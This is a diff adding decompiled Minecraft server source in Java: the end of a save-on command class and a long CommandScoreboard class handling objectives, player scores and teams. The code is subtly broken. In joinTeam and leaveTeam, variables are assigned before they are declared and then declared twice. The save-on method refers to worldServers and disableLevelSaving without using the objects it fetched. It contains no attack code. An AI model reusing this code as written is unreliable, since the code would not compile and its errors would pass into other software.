+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.save-on.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    MinecraftServer var3 = MinecraftServer.getServer();
+    boolean var4 = false;
+    
+    for (int var5 = 0; var5 < worldServers.length; var5++)
+    {
+      if (worldServers[var5] != null)
+      {
+        net.minecraft.world.WorldServer var6 = worldServers[var5];
+        
+        if (disableLevelSaving)
+        {
+          disableLevelSaving = false;
+          var4 = true;
+        }
+      }
+    }
+    
+    if (var4)
+    {
+      notifyOperators(sender, this, "commands.save.enabled", new Object[0]);
+    }
+    else
+    {
+      throw new CommandException("commands.save-on.alreadyOn", new Object[0]);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandScoreboard.java b/src/minecraft/net/minecraft/command/server/CommandScoreboard.java
new file mode 100644
index 0000000..f0a690a
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandScoreboard.java
@@ -0,0 +1,1340 @@
+package net.minecraft.command.server;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Sets;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.CommandResultStats.Type;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.command.SyntaxErrorException;
+import net.minecraft.command.WrongUsageException;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTException;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.scoreboard.IScoreObjectiveCriteria;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.ScoreObjective;
+import net.minecraft.scoreboard.ScorePlayerTeam;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.scoreboard.Team.EnumVisible;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+
+public class CommandScoreboard extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00000896";
+  
+  public CommandScoreboard() {}
+  
+  public String getCommandName()
+  {
+    return "scoreboard";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.scoreboard.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (!func_175780_b(sender, args))
+    {
+      if (args.length < 1)
+      {
+        throw new WrongUsageException("commands.scoreboard.usage", new Object[0]);
+      }
+      
+
+      if (args[0].equalsIgnoreCase("objectives"))
+      {
+        if (args.length == 1)
+        {
+          throw new WrongUsageException("commands.scoreboard.objectives.usage", new Object[0]);
+        }
+        
+        if (args[1].equalsIgnoreCase("list"))
+        {
+          listObjectives(sender);
+        }
+        else if (args[1].equalsIgnoreCase("add"))
+        {
+          if (args.length < 4)
+          {
+            throw new WrongUsageException("commands.scoreboard.objectives.add.usage", new Object[0]);
+          }
+          
+          addObjective(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("remove"))
+        {
+          if (args.length != 3)
+          {
+            throw new WrongUsageException("commands.scoreboard.objectives.remove.usage", new Object[0]);
+          }
+          
+          removeObjective(sender, args[2]);
+        }
+        else
+        {
+          if (!args[1].equalsIgnoreCase("setdisplay"))
+          {
+            throw new WrongUsageException("commands.scoreboard.objectives.usage", new Object[0]);
+          }
+          
+          if ((args.length != 3) && (args.length != 4))
+          {
+            throw new WrongUsageException("commands.scoreboard.objectives.setdisplay.usage", new Object[0]);
+          }
+          
+          setObjectiveDisplay(sender, args, 2);
+        }
+      }
+      else if (args[0].equalsIgnoreCase("players"))
+      {
+        if (args.length == 1)
+        {
+          throw new WrongUsageException("commands.scoreboard.players.usage", new Object[0]);
+        }
+        
+        if (args[1].equalsIgnoreCase("list"))
+        {
+          if (args.length > 3)
+          {
+            throw new WrongUsageException("commands.scoreboard.players.list.usage", new Object[0]);
+          }
+          
+          listPlayers(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("add"))
+        {
+          if (args.length < 5)
+          {
+            throw new WrongUsageException("commands.scoreboard.players.add.usage", new Object[0]);
+          }
+          
+          setPlayer(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("remove"))
+        {
+          if (args.length < 5)
+          {
+            throw new WrongUsageException("commands.scoreboard.players.remove.usage", new Object[0]);
+          }
+          
+          setPlayer(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("set"))
+        {
+          if (args.length < 5)
+          {
+            throw new WrongUsageException("commands.scoreboard.players.set.usage", new Object[0]);
+          }
+          
+          setPlayer(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("reset"))
+        {
+          if ((args.length != 3) && (args.length != 4))
+          {
+            throw new WrongUsageException("commands.scoreboard.players.reset.usage", new Object[0]);
+          }
+          
+          resetPlayers(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("enable"))
+        {
+          if (args.length != 4)
+          {
+            throw new WrongUsageException("commands.scoreboard.players.enable.usage", new Object[0]);
+          }
+          
+          func_175779_n(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("test"))
+        {
+          if ((args.length != 5) && (args.length != 6))
+          {
+            throw new WrongUsageException("commands.scoreboard.players.test.usage", new Object[0]);
+          }
+          
+          func_175781_o(sender, args, 2);
+        }
+        else
+        {
+          if (!args[1].equalsIgnoreCase("operation"))
+          {
+            throw new WrongUsageException("commands.scoreboard.players.usage", new Object[0]);
+          }
+          
+          if (args.length != 7)
+          {
+            throw new WrongUsageException("commands.scoreboard.players.operation.usage", new Object[0]);
+          }
+          
+          func_175778_p(sender, args, 2);
+        }
+      }
+      else if (args[0].equalsIgnoreCase("teams"))
+      {
+        if (args.length == 1)
+        {
+          throw new WrongUsageException("commands.scoreboard.teams.usage", new Object[0]);
+        }
+        
+        if (args[1].equalsIgnoreCase("list"))
+        {
+          if (args.length > 3)
+          {
+            throw new WrongUsageException("commands.scoreboard.teams.list.usage", new Object[0]);
+          }
+          
+          listTeams(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("add"))
+        {
+          if (args.length < 3)
+          {
+            throw new WrongUsageException("commands.scoreboard.teams.add.usage", new Object[0]);
+          }
+          
+          addTeam(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("remove"))
+        {
+          if (args.length != 3)
+          {
+            throw new WrongUsageException("commands.scoreboard.teams.remove.usage", new Object[0]);
+          }
+          
+          removeTeam(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("empty"))
+        {
+          if (args.length != 3)
+          {
+            throw new WrongUsageException("commands.scoreboard.teams.empty.usage", new Object[0]);
+          }
+          
+          emptyTeam(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("join"))
+        {
+          if ((args.length < 4) && ((args.length != 3) || (!(sender instanceof EntityPlayer))))
+          {
+            throw new WrongUsageException("commands.scoreboard.teams.join.usage", new Object[0]);
+          }
+          
+          joinTeam(sender, args, 2);
+        }
+        else if (args[1].equalsIgnoreCase("leave"))
+        {
+          if ((args.length < 3) && (!(sender instanceof EntityPlayer)))
+          {
+            throw new WrongUsageException("commands.scoreboard.teams.leave.usage", new Object[0]);
+          }
+          
+          leaveTeam(sender, args, 2);
+        }
+        else
+        {
+          if (!args[1].equalsIgnoreCase("option"))
+          {
+            throw new WrongUsageException("commands.scoreboard.teams.usage", new Object[0]);
+          }
+          
+          if ((args.length != 4) && (args.length != 5))
+          {
+            throw new WrongUsageException("commands.scoreboard.teams.option.usage", new Object[0]);
+          }
+          
+          setTeamOption(sender, args, 2);
+        }
+      }
+    }
+  }
+  
+  private boolean func_175780_b(ICommandSender p_175780_1_, String[] p_175780_2_)
+    throws CommandException
+  {
+    int var3 = -1;
+    
+    for (int var4 = 0; var4 < p_175780_2_.length; var4++)
+    {
+      if ((isUsernameIndex(p_175780_2_, var4)) && ("*".equals(p_175780_2_[var4])))
+      {
+        if (var3 >= 0)
+        {
+          throw new CommandException("commands.scoreboard.noMultiWildcard", new Object[0]);
+        }
+        
+        var3 = var4;
+      }
+    }
+    
+    if (var3 < 0)
+    {
+      return false;
+    }
+    
+
+    ArrayList var12 = Lists.newArrayList(getScoreboard().getObjectiveNames());
+    String var5 = p_175780_2_[var3];
+    ArrayList var6 = Lists.newArrayList();
+    Iterator var7 = var12.iterator();
+    
+    while (var7.hasNext())
+    {
+      String var8 = (String)var7.next();
+      p_175780_2_[var3] = var8;
+      
+      try
+      {
+        processCommand(p_175780_1_, p_175780_2_);
+        var6.add(var8);
+      }
+      catch (CommandException var11)
+      {
+        ChatComponentTranslation var10 = new ChatComponentTranslation(var11.getMessage(), var11.getErrorOjbects());
+        var10.getChatStyle().setColor(EnumChatFormatting.RED);
+        p_175780_1_.addChatMessage(var10);
+      }
+    }
+    
+    p_175780_2_[var3] = var5;
+    p_175780_1_.func_174794_a(CommandResultStats.Type.AFFECTED_ENTITIES, var6.size());
+    
+    if (var6.size() == 0)
+    {
+      throw new WrongUsageException("commands.scoreboard.allMatchesFailed", new Object[0]);
+    }
+    
+
+    return true;
+  }
+  
+
+
+  protected Scoreboard getScoreboard()
+  {
+    return MinecraftServer.getServer().worldServerForDimension(0).getScoreboard();
+  }
+  
+  protected ScoreObjective func_147189_a(String name, boolean edit) throws CommandException
+  {
+    Scoreboard var3 = getScoreboard();
+    ScoreObjective var4 = var3.getObjective(name);
+    
+    if (var4 == null)
+    {
+      throw new CommandException("commands.scoreboard.objectiveNotFound", new Object[] { name });
+    }
+    if ((edit) && (var4.getCriteria().isReadOnly()))
+    {
+      throw new CommandException("commands.scoreboard.objectiveReadOnly", new Object[] { name });
+    }
+    
+
+    return var4;
+  }
+  
+  protected ScorePlayerTeam func_147183_a(String name)
+    throws CommandException
+  {
+    Scoreboard var2 = getScoreboard();
+    ScorePlayerTeam var3 = var2.getTeam(name);
+    
+    if (var3 == null)
+    {
+      throw new CommandException("commands.scoreboard.teamNotFound", new Object[] { name });
+    }
+    
+
+    return var3;
+  }
+  
+  protected void addObjective(ICommandSender sender, String[] args, int index)
+    throws CommandException
+  {
+    String var4 = args[(index++)];
+    String var5 = args[(index++)];
+    Scoreboard var6 = getScoreboard();
+    IScoreObjectiveCriteria var7 = (IScoreObjectiveCriteria)IScoreObjectiveCriteria.INSTANCES.get(var5);
+    
+    if (var7 == null)
+    {
+      throw new WrongUsageException("commands.scoreboard.objectives.add.wrongType", new Object[] { var5 });
+    }
+    if (var6.getObjective(var4) != null)
+    {
+      throw new CommandException("commands.scoreboard.objectives.add.alreadyExists", new Object[] { var4 });
+    }
+    if (var4.length() > 16)
+    {
+      throw new SyntaxErrorException("commands.scoreboard.objectives.add.tooLong", new Object[] { var4, Integer.valueOf(16) });
+    }
+    if (var4.length() == 0)
+    {
+      throw new WrongUsageException("commands.scoreboard.objectives.add.usage", new Object[0]);
+    }
+    
+
+    if (args.length > index)
+    {
+      String var8 = getChatComponentFromNthArg(sender, args, index).getUnformattedText();
+      
+      if (var8.length() > 32)
+      {
+        throw new SyntaxErrorException("commands.scoreboard.objectives.add.displayTooLong", new Object[] { var8, Integer.valueOf(32) });
+      }
+      
+      if (var8.length() > 0)
+      {
+        var6.addScoreObjective(var4, var7).setDisplayName(var8);
+      }
+      else
+      {
+        var6.addScoreObjective(var4, var7);
+      }
+    }
+    else
+    {
+      var6.addScoreObjective(var4, var7);
+    }
+    
+    notifyOperators(sender, this, "commands.scoreboard.objectives.add.success", new Object[] { var4 });
+  }
+  
+  protected void addTeam(ICommandSender p_147185_1_, String[] p_147185_2_, int p_147185_3_)
+    throws CommandException
+  {
+    String var4 = p_147185_2_[(p_147185_3_++)];
+    Scoreboard var5 = getScoreboard();
+    
+    if (var5.getTeam(var4) != null)
+    {
+      throw new CommandException("commands.scoreboard.teams.add.alreadyExists", new Object[] { var4 });
+    }
+    if (var4.length() > 16)
+    {
+      throw new SyntaxErrorException("commands.scoreboard.teams.add.tooLong", new Object[] { var4, Integer.valueOf(16) });
+    }
+    if (var4.length() == 0)
+    {
+      throw new WrongUsageException("commands.scoreboard.teams.add.usage", new Object[0]);
+    }
+    
+
+    if (p_147185_2_.length > p_147185_3_)
+    {
+      String var6 = getChatComponentFromNthArg(p_147185_1_, p_147185_2_, p_147185_3_).getUnformattedText();
+      
+      if (var6.length() > 32)
+      {
+        throw new SyntaxErrorException("commands.scoreboard.teams.add.displayTooLong", new Object[] { var6, Integer.valueOf(32) });
+      }
+      
+      if (var6.length() > 0)
+      {
+        var5.createTeam(var4).setTeamName(var6);
+      }
+      else
+      {
+        var5.createTeam(var4);
+      }
+    }
+    else
+    {
+      var5.createTeam(var4);
+    }
+    
+    notifyOperators(p_147185_1_, this, "commands.scoreboard.teams.add.success", new Object[] { var4 });
+  }
+  
+  protected void setTeamOption(ICommandSender p_147200_1_, String[] p_147200_2_, int p_147200_3_)
+    throws CommandException
+  {
+    ScorePlayerTeam var4 = func_147183_a(p_147200_2_[(p_147200_3_++)]);
+    
+    if (var4 != null)
+    {
+      String var5 = p_147200_2_[(p_147200_3_++)].toLowerCase();
+      
+      if ((!var5.equalsIgnoreCase("color")) && (!var5.equalsIgnoreCase("friendlyfire")) && (!var5.equalsIgnoreCase("seeFriendlyInvisibles")) && (!var5.equalsIgnoreCase("nametagVisibility")) && (!var5.equalsIgnoreCase("deathMessageVisibility")))
+      {
+        throw new WrongUsageException("commands.scoreboard.teams.option.usage", new Object[0]);
+      }
+      if (p_147200_2_.length == 4)
+      {
+        if (var5.equalsIgnoreCase("color"))
+        {
+          throw new WrongUsageException("commands.scoreboard.teams.option.noValue", new Object[] { var5, joinNiceStringFromCollection(EnumChatFormatting.getValidValues(true, false)) });
+        }
+        if ((!var5.equalsIgnoreCase("friendlyfire")) && (!var5.equalsIgnoreCase("seeFriendlyInvisibles")))
+        {
+          if ((!var5.equalsIgnoreCase("nametagVisibility")) && (!var5.equalsIgnoreCase("deathMessageVisibility")))
+          {
+            throw new WrongUsageException("commands.scoreboard.teams.option.usage", new Object[0]);
+          }
+          
+
+          throw new WrongUsageException("commands.scoreboard.teams.option.noValue", new Object[] { var5, joinNiceString(Team.EnumVisible.func_178825_a()) });
+        }
+        
+
+
+        throw new WrongUsageException("commands.scoreboard.teams.option.noValue", new Object[] { var5, joinNiceStringFromCollection(Arrays.asList(new String[] { "true", "false" })) });
+      }
+      
+
+
+      String var6 = p_147200_2_[p_147200_3_];
+      
+      if (var5.equalsIgnoreCase("color"))
+      {
+        EnumChatFormatting var7 = EnumChatFormatting.getValueByName(var6);
+        
+        if ((var7 == null) || (var7.isFancyStyling()))
+        {
+          throw new WrongUsageException("commands.scoreboard.teams.option.noValue", new Object[] { var5, joinNiceStringFromCollection(EnumChatFormatting.getValidValues(true, false)) });
+        }
+        
+        var4.func_178774_a(var7);
+        var4.setNamePrefix(var7.toString());
+        var4.setNameSuffix(EnumChatFormatting.RESET.toString());
+      }
+      else if (var5.equalsIgnoreCase("friendlyfire"))
+      {
+        if ((!var6.equalsIgnoreCase("true")) && (!var6.equalsIgnoreCase("false")))
+        {
+          throw new WrongUsageException("commands.scoreboard.teams.option.noValue", new Object[] { var5, joinNiceStringFromCollection(Arrays.asList(new String[] { "true", "false" })) });
+        }
+        
+        var4.setAllowFriendlyFire(var6.equalsIgnoreCase("true"));
+      }
+      else if (var5.equalsIgnoreCase("seeFriendlyInvisibles"))
+      {
+        if ((!var6.equalsIgnoreCase("true")) && (!var6.equalsIgnoreCase("false")))
+        {
+          throw new WrongUsageException("commands.scoreboard.teams.option.noValue", new Object[] { var5, joinNiceStringFromCollection(Arrays.asList(new String[] { "true", "false" })) });
+        }
+        
+        var4.setSeeFriendlyInvisiblesEnabled(var6.equalsIgnoreCase("true"));
+
+
+
+
+      }
+      else if (var5.equalsIgnoreCase("nametagVisibility"))
+      {
+        Team.EnumVisible var8 = Team.EnumVisible.func_178824_a(var6);
+        
+        if (var8 == null)
+        {
+          throw new WrongUsageException("commands.scoreboard.teams.option.noValue", new Object[] { var5, joinNiceString(Team.EnumVisible.func_178825_a()) });
+        }
+        
+        var4.func_178772_a(var8);
+      }
+      else if (var5.equalsIgnoreCase("deathMessageVisibility"))
+      {
+        Team.EnumVisible var8 = Team.EnumVisible.func_178824_a(var6);
+        
+        if (var8 == null)
+        {
+          throw new WrongUsageException("commands.scoreboard.teams.option.noValue", new Object[] { var5, joinNiceString(Team.EnumVisible.func_178825_a()) });
+        }
+        
+        var4.func_178773_b(var8);
+      }
+      
+
+      notifyOperators(p_147200_1_, this, "commands.scoreboard.teams.option.success", new Object[] { var5, var4.getRegisteredName(), var6 });
+    }
+  }
+  
+  protected void removeTeam(ICommandSender p_147194_1_, String[] p_147194_2_, int p_147194_3_)
+    throws CommandException
+  {
+    Scoreboard var4 = getScoreboard();
+    ScorePlayerTeam var5 = func_147183_a(p_147194_2_[p_147194_3_]);
+    
+    if (var5 != null)
+    {
+      var4.removeTeam(var5);
+      notifyOperators(p_147194_1_, this, "commands.scoreboard.teams.remove.success", new Object[] { var5.getRegisteredName() });
+    }
+  }
+  
+  protected void listTeams(ICommandSender p_147186_1_, String[] p_147186_2_, int p_147186_3_) throws CommandException
+  {
+    Scoreboard var4 = getScoreboard();
+    
+    if (p_147186_2_.length > p_147186_3_)
+    {
+      ScorePlayerTeam var5 = func_147183_a(p_147186_2_[p_147186_3_]);
+      
+      if (var5 == null)
+      {
+        return;
+      }
+      
+      Collection var6 = var5.getMembershipCollection();
+      p_147186_1_.func_174794_a(CommandResultStats.Type.QUERY_RESULT, var6.size());
+      
+      if (var6.size() <= 0)
+      {
+        throw new CommandException("commands.scoreboard.teams.list.player.empty", new Object[] { var5.getRegisteredName() });
+      }
+      
+      ChatComponentTranslation var7 = new ChatComponentTranslation("commands.scoreboard.teams.list.player.count", new Object[] { Integer.valueOf(var6.size()), var5.getRegisteredName() });
+      var7.getChatStyle().setColor(EnumChatFormatting.DARK_GREEN);
+      p_147186_1_.addChatMessage(var7);
+      p_147186_1_.addChatMessage(new ChatComponentText(joinNiceString(var6.toArray())));
+    }
+    else
+    {
+      Collection var9 = var4.getTeams();
+      p_147186_1_.func_174794_a(CommandResultStats.Type.QUERY_RESULT, var9.size());
+      
+      if (var9.size() <= 0)
+      {
+        throw new CommandException("commands.scoreboard.teams.list.empty", new Object[0]);
+      }
+      
+      ChatComponentTranslation var10 = new ChatComponentTranslation("commands.scoreboard.teams.list.count", new Object[] { Integer.valueOf(var9.size()) });
+      var10.getChatStyle().setColor(EnumChatFormatting.DARK_GREEN);
+      p_147186_1_.addChatMessage(var10);
+      Iterator var11 = var9.iterator();
+      
+      while (var11.hasNext())
+      {
+        ScorePlayerTeam var8 = (ScorePlayerTeam)var11.next();
+        p_147186_1_.addChatMessage(new ChatComponentTranslation("commands.scoreboard.teams.list.entry", new Object[] { var8.getRegisteredName(), var8.func_96669_c(), Integer.valueOf(var8.getMembershipCollection().size()) }));
+      }
+    }
+  }
+  
+  protected void joinTeam(ICommandSender p_147190_1_, String[] p_147190_2_, int p_147190_3_) throws CommandException
+  {
+    Scoreboard var4 = getScoreboard();
+    String var5 = p_147190_2_[(p_147190_3_++)];
+    HashSet var6 = Sets.newHashSet();
+    HashSet var7 = Sets.newHashSet();
+    
+
+    if (((p_147190_1_ instanceof EntityPlayer)) && (p_147190_3_ == p_147190_2_.length))
+    {
+      var8 = getCommandSenderAsPlayer(p_147190_1_).getName();
+      
+      if (var4.func_151392_a(var8, var5))
+      {
+        var6.add(var8);
+      }
+      else
+      {
+        var7.add(var8);
+      }
+    }
+    else
+    {
+      while (p_147190_3_ < p_147190_2_.length) {
+        String var8;
+        String var8 = p_147190_2_[(p_147190_3_++)];
+        
+        if (var8.startsWith("@"))
+        {
+          List var13 = func_175763_c(p_147190_1_, var8);
+          Iterator var10 = var13.iterator();
+          
+          while (var10.hasNext())
+          {
+            Entity var11 = (Entity)var10.next();
+            String var12 = func_175758_e(p_147190_1_, var11.getUniqueID().toString());
+            
+            if (var4.func_151392_a(var12, var5))
+            {
+              var6.add(var12);
+            }
+            else
+            {
+              var7.add(var12);
+            }
+          }
+        }
+        else
+        {
+          String var9 = func_175758_e(p_147190_1_, var8);
+          
+          if (var4.func_151392_a(var9, var5))
+          {
+            var6.add(var9);
+          }
+          else
+          {
+            var7.add(var9);
+          }
+        }
+      }
+    }
+    
+    if (!var6.isEmpty())
+    {
+      p_147190_1_.func_174794_a(CommandResultStats.Type.AFFECTED_ENTITIES, var6.size());
+      notifyOperators(p_147190_1_, this, "commands.scoreboard.teams.join.success", new Object[] { Integer.valueOf(var6.size()), var5, joinNiceString(var6.toArray(new String[0])) });
+    }
+    
+    if (!var7.isEmpty())
+    {
+      throw new CommandException("commands.scoreboard.teams.join.failure", new Object[] { Integer.valueOf(var7.size()), var5, joinNiceString(var7.toArray(new String[0])) });
+    }
+  }
+  
+  protected void leaveTeam(ICommandSender p_147199_1_, String[] p_147199_2_, int p_147199_3_) throws CommandException
+  {
+    Scoreboard var4 = getScoreboard();
+    HashSet var5 = Sets.newHashSet();
+    HashSet var6 = Sets.newHashSet();
+    
+
+    if (((p_147199_1_ instanceof EntityPlayer)) && (p_147199_3_ == p_147199_2_.length))
+    {
+      var7 = getCommandSenderAsPlayer(p_147199_1_).getName();
+      
+      if (var4.removePlayerFromTeams(var7))
+      {
+        var5.add(var7);
+      }
+      else
+      {
+        var6.add(var7);
+      }
+    }
+    else
+    {
+      while (p_147199_3_ < p_147199_2_.length) {
+        String var7;
+        String var7 = p_147199_2_[(p_147199_3_++)];
+        
+        if (var7.startsWith("@"))
+        {
+          List var12 = func_175763_c(p_147199_1_, var7);
+          Iterator var9 = var12.iterator();
+          
+          while (var9.hasNext())
+          {
+            Entity var10 = (Entity)var9.next();
+            String var11 = func_175758_e(p_147199_1_, var10.getUniqueID().toString());
+            
+            if (var4.removePlayerFromTeams(var11))
+            {
+              var5.add(var11);
+            }
+            else
+            {
+              var6.add(var11);
+            }
+          }
+        }
+        else
+        {
+          String var8 = func_175758_e(p_147199_1_, var7);
+          
+          if (var4.removePlayerFromTeams(var8))
+          {
+            var5.add(var8);
+          }
+          else
+          {
+            var6.add(var8);
+          }
+        }
+      }
+    }
+    
+    if (!var5.isEmpty())
+    {
+      p_147199_1_.func_174794_a(CommandResultStats.Type.AFFECTED_ENTITIES, var5.size());
+      notifyOperators(p_147199_1_, this, "commands.scoreboard.teams.leave.success", new Object[] { Integer.valueOf(var5.size()), joinNiceString(var5.toArray(new String[0])) });
+    }
+    
+    if (!var6.isEmpty())
+    {
+      throw new CommandException("commands.scoreboard.teams.leave.failure", new Object[] { Integer.valueOf(var6.size()), joinNiceString(var6.toArray(new String[0])) });
+    }
+  }
+  
+  protected void emptyTeam(ICommandSender p_147188_1_, String[] p_147188_2_, int p_147188_3_) throws CommandException
+  {
+    Scoreboard var4 = getScoreboard();
+    ScorePlayerTeam var5 = func_147183_a(p_147188_2_[p_147188_3_]);
+    
+    if (var5 != null)
+    {
+      ArrayList var6 = Lists.newArrayList(var5.getMembershipCollection());
+      p_147188_1_.func_174794_a(CommandResultStats.Type.AFFECTED_ENTITIES, var6.size());
+      
+      if (var6.isEmpty())
+      {
+        throw new CommandException("commands.scoreboard.teams.empty.alreadyEmpty", new Object[] { var5.getRegisteredName() });
+      }
+      
+
+      Iterator var7 = var6.iterator();
+      
+      while (var7.hasNext())
+      {
+        String var8 = (String)var7.next();
+        var4.removePlayerFromTeam(var8, var5);
+      }
+      
+      notifyOperators(p_147188_1_, this, "commands.scoreboard.teams.empty.success", new Object[] { Integer.valueOf(var6.size()), var5.getRegisteredName() });
+    }
+  }
+  
+  protected void removeObjective(ICommandSender p_147191_1_, String p_147191_2_)
+    throws CommandException
+  {
+    Scoreboard var3 = getScoreboard();
+    ScoreObjective var4 = func_147189_a(p_147191_2_, false);
+    var3.func_96519_k(var4);
+    notifyOperators(p_147191_1_, this, "commands.scoreboard.objectives.remove.success", new Object[] { p_147191_2_ });
+  }
+  
+  protected void listObjectives(ICommandSender p_147196_1_) throws CommandException
+  {
+    Scoreboard var2 = getScoreboard();
+    Collection var3 = var2.getScoreObjectives();
+    
+    if (var3.size() <= 0)
+    {
+      throw new CommandException("commands.scoreboard.objectives.list.empty", new Object[0]);
+    }
+    
+
+    ChatComponentTranslation var4 = new ChatComponentTranslation("commands.scoreboard.objectives.list.count", new Object[] { Integer.valueOf(var3.size()) });
+    var4.getChatStyle().setColor(EnumChatFormatting.DARK_GREEN);
+    p_147196_1_.addChatMessage(var4);
+    Iterator var5 = var3.iterator();
+    
+    while (var5.hasNext())
+    {
+      ScoreObjective var6 = (ScoreObjective)var5.next();
+      p_147196_1_.addChatMessage(new ChatComponentTranslation("commands.scoreboard.objectives.list.entry", new Object[] { var6.getName(), var6.getDisplayName(), var6.getCriteria().getName() }));
+    }
+  }
+  
+  protected void setObjectiveDisplay(ICommandSender p_147198_1_, String[] p_147198_2_, int p_147198_3_)
+    throws CommandException
+  {
+    Scoreboard var4 = getScoreboard();
+    String var5 = p_147198_2_[(p_147198_3_++)];
+    int var6 = Scoreboard.getObjectiveDisplaySlotNumber(var5);
+    ScoreObjective var7 = null;
+    
+    if (p_147198_2_.length == 4)
+    {
+      var7 = func_147189_a(p_147198_2_[p_147198_3_], false);
+    }
+    
+    if (var6 < 0)
+    {
+      throw new CommandException("commands.scoreboard.objectives.setdisplay.invalidSlot", new Object[] { var5 });
+    }
+    
+
+    var4.setObjectiveInDisplaySlot(var6, var7);
+    
+    if (var7 != null)
+    {
+      notifyOperators(p_147198_1_, this, "commands.scoreboard.objectives.setdisplay.successSet", new Object[] { Scoreboard.getObjectiveDisplaySlot(var6), var7.getName() });
+    }
+    else
+    {
+      notifyOperators(p_147198_1_, this, "commands.scoreboard.objectives.setdisplay.successCleared", new Object[] { Scoreboard.getObjectiveDisplaySlot(var6) });
+    }
+  }
+  
+  protected void listPlayers(ICommandSender p_147195_1_, String[] p_147195_2_, int p_147195_3_)
+    throws CommandException
+  {
+    Scoreboard var4 = getScoreboard();
+    
+    if (p_147195_2_.length > p_147195_3_)
+    {
+      String var5 = func_175758_e(p_147195_1_, p_147195_2_[p_147195_3_]);
+      Map var6 = var4.func_96510_d(var5);
+      p_147195_1_.func_174794_a(CommandResultStats.Type.QUERY_RESULT, var6.size());
+      
+      if (var6.size() <= 0)
+      {
+        throw new CommandException("commands.scoreboard.players.list.player.empty", new Object[] { var5 });
+      }
+      
+      ChatComponentTranslation var7 = new ChatComponentTranslation("commands.scoreboard.players.list.player.count", new Object[] { Integer.valueOf(var6.size()), var5 });
+      var7.getChatStyle().setColor(EnumChatFormatting.DARK_GREEN);
+      p_147195_1_.addChatMessage(var7);
+      Iterator var8 = var6.values().iterator();
+      
+      while (var8.hasNext())
+      {
+        Score var9 = (Score)var8.next();
+        p_147195_1_.addChatMessage(new ChatComponentTranslation("commands.scoreboard.players.list.player.entry", new Object[] { Integer.valueOf(var9.getScorePoints()), var9.getObjective().getDisplayName(), var9.getObjective().getName() }));
+      }
+    }
+    else
+    {
+      Collection var10 = var4.getObjectiveNames();
+      p_147195_1_.func_174794_a(CommandResultStats.Type.QUERY_RESULT, var10.size());
+      
+      if (var10.size() <= 0)
+      {
+        throw new CommandException("commands.scoreboard.players.list.empty", new Object[0]);
+      }
+      
+      ChatComponentTranslation var11 = new ChatComponentTranslation("commands.scoreboard.players.list.count", new Object[] { Integer.valueOf(var10.size()) });
+      var11.getChatStyle().setColor(EnumChatFormatting.DARK_GREEN);
+      p_147195_1_.addChatMessage(var11);
+      p_147195_1_.addChatMessage(new ChatComponentText(joinNiceString(var10.toArray())));
+    }
+  }
+  
+  protected void setPlayer(ICommandSender p_147197_1_, String[] p_147197_2_, int p_147197_3_) throws CommandException
+  {
+    String var4 = p_147197_2_[(p_147197_3_ - 1)];
+    int var5 = p_147197_3_;
+    String var6 = func_175758_e(p_147197_1_, p_147197_2_[(p_147197_3_++)]);
+    ScoreObjective var7 = func_147189_a(p_147197_2_[(p_147197_3_++)], true);
+    int var8 = var4.equalsIgnoreCase("set") ? parseInt(p_147197_2_[(p_147197_3_++)]) : parseInt(p_147197_2_[(p_147197_3_++)], 0);
+    
+    if (p_147197_2_.length > p_147197_3_)
+    {
+      Entity var9 = func_175768_b(p_147197_1_, p_147197_2_[var5]);
+      
+      try
+      {
+        NBTTagCompound var10 = net.minecraft.nbt.JsonToNBT.func_180713_a(func_180529_a(p_147197_2_, p_147197_3_));
+        NBTTagCompound var11 = new NBTTagCompound();
+        var9.writeToNBT(var11);
+        
+        if (!CommandTestForBlock.func_175775_a(var10, var11, true))
+        {
+          throw new CommandException("commands.scoreboard.players.set.tagMismatch", new Object[] { var6 });
+        }
+      }
+      catch (NBTException var12)
+      {
+        throw new CommandException("commands.scoreboard.players.set.tagError", new Object[] { var12.getMessage() });
+      }
+    }
+    
+    Scoreboard var13 = getScoreboard();
+    Score var14 = var13.getValueFromObjective(var6, var7);
+    
+    if (var4.equalsIgnoreCase("set"))
+    {
+      var14.setScorePoints(var8);
+    }
+    else if (var4.equalsIgnoreCase("add"))
+    {
+      var14.increseScore(var8);
+    }
+    else
+    {
+      var14.decreaseScore(var8);
+    }
+    
+    notifyOperators(p_147197_1_, this, "commands.scoreboard.players.set.success", new Object[] { var7.getName(), var6, Integer.valueOf(var14.getScorePoints()) });
+  }
+  
+  protected void resetPlayers(ICommandSender p_147187_1_, String[] p_147187_2_, int p_147187_3_) throws CommandException
+  {
